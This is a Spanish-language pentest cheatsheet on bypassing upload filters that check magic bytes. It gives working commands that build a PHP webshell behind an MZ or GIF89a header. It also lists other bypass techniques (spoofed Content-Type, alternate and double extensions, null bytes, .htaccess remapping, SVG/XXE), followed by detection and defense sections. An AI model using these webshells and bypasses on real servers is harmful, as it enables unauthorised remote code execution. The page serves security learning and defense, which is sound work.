File Upload Bypass (Magic Bytes)
Arsenal completo de comandos en la cheatsheetMuchos formularios de subida intentan restringir los ficheros validando los magic bytes (los primeros bytes que identifican el formato: MZ/4D5A en un ejecutable PE, %PDF en un PDF, GIF89a en un GIF...). El problema es que comprobar la cabecera no valida el tipo real ni la extensión: si el servidor luego sirve o interpreta el fichero como código, un atacante solo tiene que anteponer los bytes que el filtro espera. Es una pieza dentro del abanico de bypass de validaciones de subida.
Magic bytes
El caso típico: un upload.php lee unos bytes y exige MZ (o GIF89a para imágenes). Basta escribir un .php que empiece por esa cabecera y siga con la webshell; PHP procesa las etiquetas <?php estén donde estén dentro del fichero:
echo '4D 5A 4E 47 0D 0A 1A 0A' | xxd -p -r > shell.php
echo '<?php system($_REQUEST["cmd"]); ?>' >> shell.php
# o para el filtro de imagenes:
printf 'GIF89a;\n<?php system($_REQUEST["cmd"]); ?>\n' > shell.php.gifOtras validaciones y su bypass
Rara vez el filtro es solo de magic bytes; conviene conocer el resto, porque suelen combinarse:
- Content-Type (cliente): interceptar con Burp y cambiar
Content-Type: application/x-phpporimage/png. Es una cabecera que pone el navegador, controlable. - Lista negra de extensiones: probar variantes que el servidor aún ejecuta:
.phtml,.php3/4/5/7,.pht,.phar,.phps, o en mayúsculas (.pHp). Para ASP/JSP:.aspx,.asp;.jpg,.jspx. - Doble extensión:
shell.php.jpg(pasa la lista blanca de imagen) donde Apache mal configurado ejecuta por la primera extensión reconocida. - Caracteres de corte:
shell.php%00.jpg(null byte, PHP viejo),shell.php%20,shell.php.,shell.php/según el parser. .htaccess/web.config: subir un.htaccessque mapee una extensión inocua a PHP (AddType application/x-httpd-php .jpg) y luego subir la shell como.jpg.- SVG/XML: un
.svgcon<script>o una entidad XXE cuando la imagen se procesa o se muestra.
Requisitos
Un punto de subida que acepte el fichero y, sobre todo, que este acabe interpretándose como código: el directorio de subidas se sirve como PHP/ASP, o el fichero se incluye después (LFI). Si la app solo almacena el fichero y nunca lo ejecuta, el bypass del filtro no basta por sí solo.
Cómo detectarlo. El fichero subido delata el truco: un .php/.phtml/.jsp cuyos primeros bytes son MZ o GIF89a pero cuyo cuerpo contiene etiquetas de código (<?php, <%) es incoherente y salta con un file o un grep -a '<?php' sobre el directorio de subidas. La subida de un .htaccess/web.config a una carpeta de uploads es señal directa. En tiempo real, la pista es una petición al fichero recién subido que devuelve la salida de un comando en vez de una imagen, y el proceso web lanzando sh/cmd como hijo.
Defensa. No confiar en magic bytes ni en el Content-Type como control: validar la extensión contra una lista blanca estricta, renombrar el fichero con un valor aleatorio, quitarle permisos de ejecución, almacenarlo fuera del webroot y servirlo por un manejador que nunca lo interprete. Relacionado con subida de fichero a RCE y bypass de etiquetas PHP.